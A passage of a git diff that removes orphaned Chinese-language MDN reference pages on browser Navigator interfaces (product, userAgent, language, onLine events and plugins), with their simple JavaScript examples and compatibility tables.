-original_slug: Web/API/NavigatorID/product ---- -<div> - {{ApiRef}}</div> -<h2 id="Summary" name="Summary">概述</h2> -<p>该属性返回当前浏览器的产品名称。</p> -<div class="note"> - <strong>注意:</strong>该属性不一定返回一个真实的产品名称。Gecko 和 WebKit 浏览器返回 "Gecko" 作为该属性的值。</div> -<h2 id="Syntax" name="Syntax">语法</h2> -<pre class="syntaxbox"><i>productName</i> = window.navigator.product -</pre> -<ul> - <li><code>productName</code> 是一个字符串。</li> -</ul> -<h2 id="Example" name="Example">例子</h2> -<pre class="brush: html"><script> -function prod() { - dt = document.getElementById("d"); - dt.innerHTML = window.navigator.product; -} -</script> - -<button onclick="prod();">product</button> -<div id="d"> </div> -<!-- 返回 "Gecko" --> -</pre> -<h2 id="Notes" name="Notes">备注</h2> -<p>在基于 Gecko 的浏览器中,<code>product</code> 为完整的用户代理(user agent)字符串中紧跟着平台(platform)后的部分。例如,在 Netscape 6.1 的用户代理中,product 是 "<code>Gecko</code>",完整的代理字符串是:<code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code>。</p> -<p>在基于 WebKit 的浏览器中,<code>product</code> 仍然返回 "<code>Gecko</code>",即使完整用户代理字符串中平台(platform)后紧跟着:<code>(KHTML, like Gecko)</code>。</p> -<h2 id="Specification" name="Specification">规范</h2> -<p>{{dom0}}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html b/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html deleted file mode 100644 index 9652c650da..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: NavigatorID.userAgent -slug: orphaned/Web/API/NavigatorID/userAgent -translation_of: Web/API/NavigatorID/userAgent -original_slug: Web/API/NavigatorID/userAgent ---- -<div>{{ApiRef("HTML DOM")}}</div> - -<p><code><strong>NavigatorID.userAgent</strong></code> 只读属性返回当前浏览器的 user agent 字符串。</p> - -<div class="note"> -<p>这一规范要求浏览器通过这一属性提供尽可能少的信息。不要假定同一浏览器的这一属性值会在未来的版本中保持不变。尽量不要使用这一属性,或者仅仅在现有和更早的版本中使用。较新的浏览器可能开始使用相同或近似的 UA,对于早期的浏览器而言:你不能确保该浏览器是其 <code><strong>NavigatorID.userAgent</strong></code> 属性所宣称的浏览器。</p> - -<p>另外要记住,用户可以修改浏览器的此属性(UA 欺骗).</p> -</div> - -<p>基于 user agent 字符串来识别浏览器是<strong>不可靠</strong>的,<strong>不推荐使用</strong>,因为 user agent 字符串是用户可配置的。例如:</p> - -<ul> - <li>在 Firefox 浏览器中,你可以通过 <code>about:config</code> 页面的 <code>general.useragent.override</code> 字段修改 user agent。某些 FireFox 插件会更改此字段。 但这个字段只会影响到 http 请求的 header,不影响通过 Javascript 代码检测浏览器。</li> - <li>Opera 6+ 允许用户通过菜单设置浏览器辨识字符。</li> - <li>Microsoft Internet Explorer 通过修改 Windows 注册表修改 UA 。</li> - <li>Safari 和iCab 允许用户通过菜单选项将 UA 值修改为预设的Internet Explorer 或Netscape 浏览器 UA 。</li> -</ul> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="syntaxbox notranslate">var <var>ua</var> = navigator.userAgent; -</pre> - -<h3 id="Value" name="Value">值</h3> - -<p>{{domxref("DOMString")}} 规定了浏览器提供给 {{Glossary("HTTP")}} headers 和其响应,以及其他与{{domxref("Navigator")}} 相关的方法的完整用户代理属性 。</p> - -<p>用户代理属性由几个信息段组成一个整齐的结构,每个信息段都取值于其他 {{domxref("Navigator")}} 属性,这些属性也可以是用户设置的。基于 Gecko 内核的浏览器的 UA 遵守下列通用结构规范。</p> - -<pre class="notranslate">userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU; -Localization; rv: revision-version-number) product/productSub -Application-Name Application-Name-version -</pre> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush:js notranslate">alert(window.navigator.userAgent) -// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1" -</pre> - -<ul> -</ul> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.NavigatorID.userAgent")}}</p> - -<h2 id="See_also" name="See_also">更多</h2> - -<ul> - <li>{{httpheader("User-Agent")}} HTTP header</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html deleted file mode 100644 index fdd35b2c8b..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: NavigatorLanguage -slug: orphaned/Web/API/NavigatorLanguage -tags: - - API - - HTML-DOM - - NeedsTranslation - - No Interface - - Reference - - TopicStub -translation_of: Web/API/NavigatorLanguage -original_slug: Web/API/NavigatorLanguage ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p><code><strong>NavigatorLanguage</strong></code> 包含涉及导航(<code><strong>Navigator</strong></code>)的语言特性的方法和属性。</p> - -<p>其实 <code>NavigatorLanguage</code> 这个对象并不存在,但是,一些其它的接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}},实现了它。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>NavigatorLanguage</code></em><em> 接口不继承任何属性。</em></p> - -<dl> - <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt> - <dd>返回一个 {{domxref("DOMString")}} 代表用户的首选语言,通常是浏览器 UI 的语言。若返回 <code>null</code> 值,则代表语言未知。</dd> - <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt> - <dd>返回一个 {{domxref("DOMString")}} 数组,代表用户已知的语言,不同语言按照谁更佳排序。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>NavigatorLanguage</code></em><em> 接口不依赖任何接口和方法。</em></p> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>从 {{SpecName('HTML5 W3C')}} 出现开始,<code>languages</code> 属性已经被添加。</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>初始标准;出现在 {{SpecName('HTML WHATWG')}} 的早期版本。</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.NavigatorLanguage")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>实现本对象的 {{domxref("Navigator")}} 接口。</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html deleted file mode 100644 index c9e6e3615e..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: NavigatorLanguage.language -slug: orphaned/Web/API/NavigatorLanguage/language -tags: - - API - - NavigatorLanguage - - 参考 - - 只读 - - 多语言 - - 属性 - - 语言 -translation_of: Web/API/NavigatorLanguage/language -original_slug: Web/API/NavigatorLanguage/language ---- -<div>{{APIRef("HTML DOM")}}</div> - -<p><strong><code>NavigatorLanguage.language</code></strong> 只读属性返回一个表示用户偏好语言的字符串,通常指浏览器 UI 的语言。</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js"><em>let lang</em> = navigator.language; -</pre> - -<h3 id="值">值</h3> - -<p>一个 {{domxref("DOMString")}}。<code>lang</code> 存储一个表示语言版本(在 <a href="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP 47</a> 中定义)的字符串。合法的语言版本有 "zh-CN"、"en"、"en-US"、"fr"、"es-ES" 等。</p> - -<p>注意 macOS 和 iOS 平台上的 Safari(10.2 之前版本),国家代码为小写:"zh-cn"、"en-us"、"fr-fr" 等。</p> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">if ( window.navigator.language != 'zh-CN' ) { - doLangSelect(window.navigator.language); -} -</pre> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-navigator-language', 'NavigatorLanguage: language')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初次定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.NavigatorLanguage.language")}}</p> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li> - <li>{{domxref("navigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html deleted file mode 100644 index 127403a1f9..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: NavigatorLanguage.languages -slug: orphaned/Web/API/NavigatorLanguage/languages -tags: - - API - - languages - - 只读 - - 实验性 - - 属性 -translation_of: Web/API/NavigatorLanguage/languages -original_slug: Web/API/NavigatorLanguage/languages ---- -<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p> - -<p><code><strong>NavigatorLanguage.languages </strong></code>只读属性 ,返回一个 {{domxref("DOMString")}} 的数组,数组内容表示网站访客所使用的语言。 使用 <a href="http://tools.ietf.org/html/bcp47">BCP 47</a> 语言标签来描述不同的语言。 在返回的数组中,最适合当前用户的语言将会被排到数组的首位。</p> - -<p>{{domxref("NavigatorLanguage.language","navigator.language")}} 的值是该属性返回数组的第一个元素 [3]。(但它基于系统语言设置。)</p> - -<p>当该值发生改变,即最适合用户的语言被改变, 事件{{event("languagechange")}} 将会在 {{domxref("Window")}} 对象下触发。</p> - -<p>在每一个HTTP请求上的来自用户浏览器的HTTP协议头 <code>Accept-Language</code> 使用相同的来自 <code>navigator.languages</code> 属性的语言值,除了特殊的 <code>qvalues</code> (权重值) 字段 (如:<code>en-US;q=0.8)。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate"><em>preferredLanguages</em> = <em>globalObj</em>.navigator.languages -</pre> - -<h2 id="例子">例子</h2> - -<pre class="brush: js notranslate">navigator.language //"en-US" -navigator.languages //["en-US", "zh-CN", "ja-JP"] -</pre> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td> - <td>{{ Spec2('HTML5.1') }}</td> - <td> - <p>初始化定义</p> - </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.NavigatorLanguage.languages")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("NavigatorLanguage.language","navigator.language")}}</li> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("Window.onlanguagechange")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/index.html deleted file mode 100644 index b2a7f14cc9..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: NavigatorOnLine -slug: orphaned/Web/API/NavigatorOnLine -tags: - - API - - HTML-DOM - - TopicStub -translation_of: Web/API/NavigatorOnLine -original_slug: Web/API/NavigatorOnLine ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p><code><strong>NavigatorOnLine</strong></code>接口包含了与浏览器网络连接状态相关的方法和属性。</p> - -<p>不存在<code>NavigatorOnLine类型的对象,</code>但是存在其他的接口,比如 {{domxref("Navigator")}} 或者 {{domxref("WorkerNavigator")}},可以实现它。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>NavigatorOnLine</code></em><em> 接口并不能继承任何属性。</em></p> - -<dl> - <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt> - <dd>返回一个 {{domxref("Boolean")}} 值指示浏览器是否为在线状态。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>NavigatorOnLine</code></em><em> 接口既不能实现,也不能继承任何方法。</em></p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注解</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>对比最近的简况没有变化, {{SpecName('HTML5 W3C')}}</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>{{SpecName('HTML WHATWG')}} 原始标准的简况.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>特征</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>在{{domxref("WorkerNavigator")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoDesktop(29)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>特征</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td> {{domxref("WorkerNavigator")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile(29)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="浏览相关">浏览相关</h2> - -<ul> - <li>可以实现它的 {{domxref("Navigator")}} 接口。</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html deleted file mode 100644 index ffc33f9d7a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: NavigatorOnLine.onLine -slug: orphaned/Web/API/NavigatorOnLine/onLine -tags: - - API - - DOM Reference -translation_of: Web/API/NavigatorOnLine/onLine -original_slug: Web/API/NavigatorOnLine/onLine ---- -<p>{{ApiRef("HTML DOM")}}</p> - -<p>返回浏览器的联网状态。正常联网(在线)返回 <code>true</code>,不正常联网(离线)返回 <code>false</code>。一旦浏览器的联网状态发生改变,该属性值也会随之变化。当用户点击链接或者脚本进行网络请求时,如果发现浏览器连接不上互联网,则该属性会被赋值为<code>false</code>。</p> - -<p>各浏览器对该属性的实现有些不同。</p> - -<p>在 Chrome 和 Safari 中,如果浏览器连接不上局域网(LAN)或者路由器,就是离线状态;否则就是在线状态。所以当该属性值为 <code>false </code>的时候,你可以说浏览器不能正常联网,但如果该属性值为true的时候,并不意味着浏览器一定能连接上互联网。还有其他一些可能引起误判的原因,比如你的电脑安装了虚拟化软件,可能会有一个虚拟网卡,这时它总是会显示正常联网。因此,如果你想得到浏览器确切的联网状态,应该使用其他额外的检查手段。</p> - -<p>在 Firefox 和 Internet Explorer 中,如果浏览器处于"脱机工作"状态,则返回 <code>false</code>。在 Firefox 41之前,所有其他条件都返回 <code>true</code> 值;在 Windows 上的 Nightly 68上测试实际行为表明,它仅查找类似 Chrome 和 Safari 的 LAN 连接,从而产生误报。</p> - -<p>你可以在 <a href="/zh-CN/docs/Web/API/document.ononline"><code>window.ononline</code></a> 和 <a href="/zh-CN/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>上监听事件,来获取浏览器联网状态的改变情况。</p> - -<h2 id="语法">语法</h2> - -<pre><em>online</em> = <em>window</em>.navigator.onLine; -</pre> - -<h3 id="取值">取值</h3> - -<p><code>online</code> 是个布尔值 <code>true</code> 或 <code>false。</code></p> - -<h2 id="示例">示例</h2> - -<p>查看 <a class="external" href="http://html5-demos.appspot.com/static/navigator.onLine.html">在线演示</a>.</p> - -<p>想要查看你是否连接上了互联网,查询 <code>window.navigator.onLine</code> 的值,如下方示例:</p> - -<pre class="brush: js">if (navigator.onLine) { - alert('online') -} else { - alert('offline'); -} -</pre> - -<p>如果浏览器不支持 <code>navigator.onLine</code>,则上面的示例将始终显示为 <code>false</code> / <code>undefined</code>。</p> - -<p>要查看网络状态的变化,请使用 <code><a href="/zh-CN/docs/DOM/element.addEventListener">addEventListener</a></code> 侦听 <code>window.online</code> 和 <code>window.offline</code> 事件,如以下示例所示:</p> - -<pre class="brush: js">window.addEventListener("offline", function(e) {alert("offline");}) - -window.addEventListener("online", function(e) {alert("online");}) -</pre> - -<h2 id="规范">规范</h2> - -<table> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("HTML WHATWG", "browsers.html#dom-navigator-online", "navigator.onLine")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("api.NavigatorOnLine.onLine")}}</p> - -<h2 id="备注">备注</h2> - -<p>See <a href="https://wiki.developer.mozilla.org/en-US/docs/Online_and_offline_events">Online/Offline Events</a> for a more detailed description of this property as well as new offline-related features introduced in Firefox 3.</p> - -<h2 id="查看更多">查看更多</h2> - -<ul> - <li><a href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">HTML5 Rocks: Working Off the Grid With HTML5 Offline</a></li> - <li><a href="http://www.html5rocks.com/en/tutorials/offline/whats-offline/">HTML5 Rocks: "Offline": What does it mean and why should I care?</a></li> - <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/">Mozilla Blog: Offline Web Applications</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html deleted file mode 100644 index 8b873aad6c..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: 在线和离线事件 -slug: orphaned/Web/API/NavigatorOnLine/Online_and_offline_events -tags: - - AJAX - - DOM - - HTML5 - - Web 开发 - - 离线 web 应用 -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events -original_slug: Web/API/NavigatorOnLine/Online_and_offline_events ---- -<p>部分浏览器根据 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WHATWG Web Applications 1.0 规范</a> 实现了<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">Online/Offline 事件</a>。</p> - -<h3 id="Overview" name="Overview">概述</h3> - -<p>为了构建一个支持离线的 web 应用,你需要知道你的应用何时真正处于离线状态。同时,你还需要知道应用何时重新回到了「在线」状态。实际上,我们可以把需求分解成如下内容:</p> - -<ol> - <li>你需要知道用户何时回到在线状态,这样你就可以与服务器重新同步。</li> - <li>你需要知道用户何时处于离线状态,这样你就可以将对服务器的请求放入队列中以便稍后使用。</li> -</ol> - -<p>这便是在线/离线事件所要处理的过程。</p> - -<p>你的 web 应用可能需要使得某个特定的文档在离线资源缓存中得到维护。 你可以在 <a href="/en/Offline_resources_in_Firefox" title="en/Offline_resources_in_Firefox">Firefox 中的离线资源</a> 这篇文章中了解到更多内容。</p> - -<h3 id="API" name="API">API</h3> - -<h4 id="navigator.onLine" name="navigator.onLine"><code>navigator.onLine</code></h4> - -<p><code><a href="/en/DOM/window.navigator.onLine" title="en/DOM/window.navigator.onLine">navigator.onLine</a></code> 是一个值为 <code>true</code>/<code>false</code> (<code>true</code> 表示在线, <code>false</code> 表示离线) 的属性。当用户通过选择对应的菜单项 (Firefox 中为 文件 -> 离线工作) 切换到「离线模式」时,这个值就会被更新。</p> - -<p>此外,当浏览器长时间无法连接到网络时,该值也会被更新。根据如下规范:</p> - -<blockquote cite="http://www.whatwg.org/specs/web-apps/current-work/#offline"><code>由于用户点击一个链接或是脚本请求一个远程页面(或者类似的操作失败了)从而导致户代理无法访问网络时, navigator.onLine</code> 属性返回 false ...</blockquote> - -<p>在 Firefox 2 中,当在浏览器的离线模式中来回切换时会更新该属性。 Windows, Linux, 和 OS X 上的 <a href="https://developer.mozilla.org/en-US/Firefox/Releases/41#Miscellaneous">Firefox 41</a> 会在操作系统报告网络连接变化时更新该属性。</p> - -<p>该属性存在于旧版本的 Firefox 与 Internet Explorer (规范就是以这些旧有实现为基础),因此你现在就可以使用该属性。Firefox 2实现了网络状态自动检测。</p> - -<h4 id=".22online.22_and_.22offline.22_events" name=".22online.22_and_.22offline.22_events"><code>「online」与「</code><code>offline」</code> 事件</h4> - -<p><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a> 引入了两个新事件:「<code>online」与「</code><code>offline」。当浏览器从在线与离线状态中切换时,这两个事件会在页面的</code> <code><body></code> 上触发。此外,该事件会从 <code>document.body 冒泡到</code> <code>document 上,最后到达</code> <code>window。两个事件都无法被取消</code>(你无法阻止用户进入在线或离线状态)。</p> - -<p>你可以使用几种熟悉的方式来注册事件:</p> - -<ul> - <li>在 <code>window,</code><code>document,或<font face="Lucida Grande, Lucida Sans Unicode, DejaVu Sans, Lucida, Arial, Helvetica, sans-serif"><span style="line-height: 21px;"> </span></font></code><code>document.body 上使用 </code><code style="font-size: 14px;"><a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a></code></li> - <li>将 <code style="font-size: 14px;">document</code> 或 <code style="font-size: 14px;">document.body 的</code> <code>.ononline</code> 或 <code>.onoffline</code> 属性设置为一个 JavaScript <code>Function</code> 对象。(<strong>注意:</strong>由于兼容性原因,不能使用 <code>window.ononline</code> 或 <code>window.onoffline</code>。)</li> - <li>在 HTML 标记中的 <code style="font-size: 14px;"><body> 标签上指定</code> <code>ononline="..."</code> 或 <code>onoffline="..."</code> 特性。</li> -</ul> - -<h3 id="Example" name="Example">示例</h3> - -<p>运行这个<a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">简单的例子</a>来验证事件。</p> - -<p>这是 JavaScript 部分的代码:</p> - -<pre class="brush: js">window.addEventListener('load', function() { - var status = document.getElementById("status"); - var log = document.getElementById("log"); - - function updateOnlineStatus(event) { - var condition = navigator.onLine ? "online" : "offline"; - - status.className = condition; - status.innerHTML = condition.toUpperCase(); - - log.insertAdjacentHTML("beforeend", "Event: " + event.type + "; Status: " + condition); - } - - window.addEventListener('online', updateOnlineStatus); - window.addEventListener('offline', updateOnlineStatus); -});</pre> - -<p>再加上一点儿 CSS</p> - -<pre class="brush: css">#status { - position: fixed; - width: 100%; - font: bold 1em sans-serif; - color: #FFF; - padding: 0.5em; -} - -#log { - padding: 2.5em 0.5em 0.5em; - font: 1em sans-serif; -} - -.online { - background: green; -} - -.offline { - background: red; -} -</pre> - -<p>对应的 HTML<span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span></p> - -<pre class="brush: html"><div id="status"></div> -<div id="log"></div> -<p>This is a test</p> -</pre> - -<h3 id="References" name="References">注意</h3> - -<p>如果浏览器没有实现该 API,你可以使用其他方式来检测是否离线,包括 <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html#toc-appcache">AppCache 错误事件</a> 和 <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html#toc-xml-http-request">XMLHttpRequest 的响应</a>。</p> - -<h3 id="References" name="References">参考</h3> - -<ul> - <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">'Online/Offline events' section from the WHATWG Web Applications 1.0 Specification</a></li> - <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">The bug tracking online/offline events implementation in Firefox</a> and a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">follow-up</a></li> - <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">A simple test case</a></li> - <li><a class="external" href="http://ejohn.org/blog/offline-events/">An explanation of Online/Offline events</a></li> - <li><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/index.html deleted file mode 100644 index 3b0afd6396..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: NavigatorPlugins -slug: orphaned/Web/API/NavigatorPlugins -translation_of: Web/API/NavigatorPlugins -original_slug: Web/API/NavigatorPlugins ---- -<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p> - -<p>The <code><strong>NavigatorPlugins</strong></code> interface contains methods and properties related to the plugins installed in the browser.</p> - -<p>There is no object of type <code>NavigatorPlugins</code>, but other interfaces, like {{domxref("Navigator")}}, implement it.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd> - <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The <code>NavigatorPlugins</code></em><em> interface doesn't inherit any method.</em></p> - -<dl> - <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>The {{domxref("Navigator")}} interface that implements it.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/javaenabled/index.html 